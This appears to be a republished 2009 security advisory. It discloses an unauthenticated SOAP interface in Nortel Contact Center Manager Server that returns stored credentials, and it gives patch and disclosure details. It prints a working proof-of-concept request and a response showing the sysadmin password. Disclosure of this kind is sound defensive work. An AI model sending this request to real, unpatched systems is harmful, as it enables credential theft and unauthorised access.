|
Brought to you by:
Suppliers of:
|
|
|
| |
| The Nortel Contact Center Manager Server web application provides a SOAP interface. This interface does not need authorisation and responds to certain requests with sensitive information. |
| |
Credit:
The information has been provided by Bernhard Mueller.
The original article can be found at: https://www.sec-consult.com/advisories_e.html#a57
|
| |
Vulnerable Systems:
* Nortel Contact Center Manager Server version 06.00.004.03
The following SOAP request queries the user data for the user "sysadmin":
---
POST /Common/WebServices/SOAPWrapperCommon/SOAPWrapperCommonWS.asmx HTTP/1.1
Host: 10.1.2.3
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://SoapWrapperCommon.CCMA.Applications.Nortel.com/SOAPWrapperCommon_UsersWS_GetServers_Wrapper"
Content-Length: 661
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SOAPWrapperCommon_UsersWS_GetServers_Wrapper
xmlns="http://SoapWrapperCommon.CCMA.Applications.Nortel.com">
<ccmaUserName>string</ccmaUserName>
<clientIP>string</clientIP>
<componentID>string</componentID>
<sessionID>string</sessionID>
<strUserID>string</strUserID>
<strPassword>string</strPassword>
</SOAPWrapperCommon_UsersWS_GetServers_Wrapper>
</soap:Body>
</soap:Envelope>
---
The following is an excerpt of the response to the previous query. It contains the user sysadmin with the corresponding password (password, server IP address, and server name has been changed):
---
<rs:data>
<z:row ID='0' ServerName='abcd01' ServerIP='10.1.2.3'
ServerDescription='abcd01' ServerUserID='sysadmin' ServerPassword='pwd4hugo'
ServerType='1' SystemVersion='6.0' OpenQueue='0' HeteroNetworking='0'
Network='0' ServerSWBuild='4.4F' ServerSULevel='CCMS_6.0_SU_05'
ServerDPLevel='CCMS_6.0_SUS_0503' BasicIVR='1' GracePeriodState='3'
RefreshIntervalsElapsed='0'/>
</rs:data>
---
Patch Availability:
The vendor has released a vulnerability fix which addresses the issue. In addition, the vendor has released a public security advisory containing update instructions.
http://support.nortel.com/go/main.jsp?cscat=BLTNDETAIL&id=905808
Disclosure Timeline:
2009-01 : Vendor informed about vulnerability
2009-05-14: Patch available
2009-05-25: Public Release
|
|
|
|
|
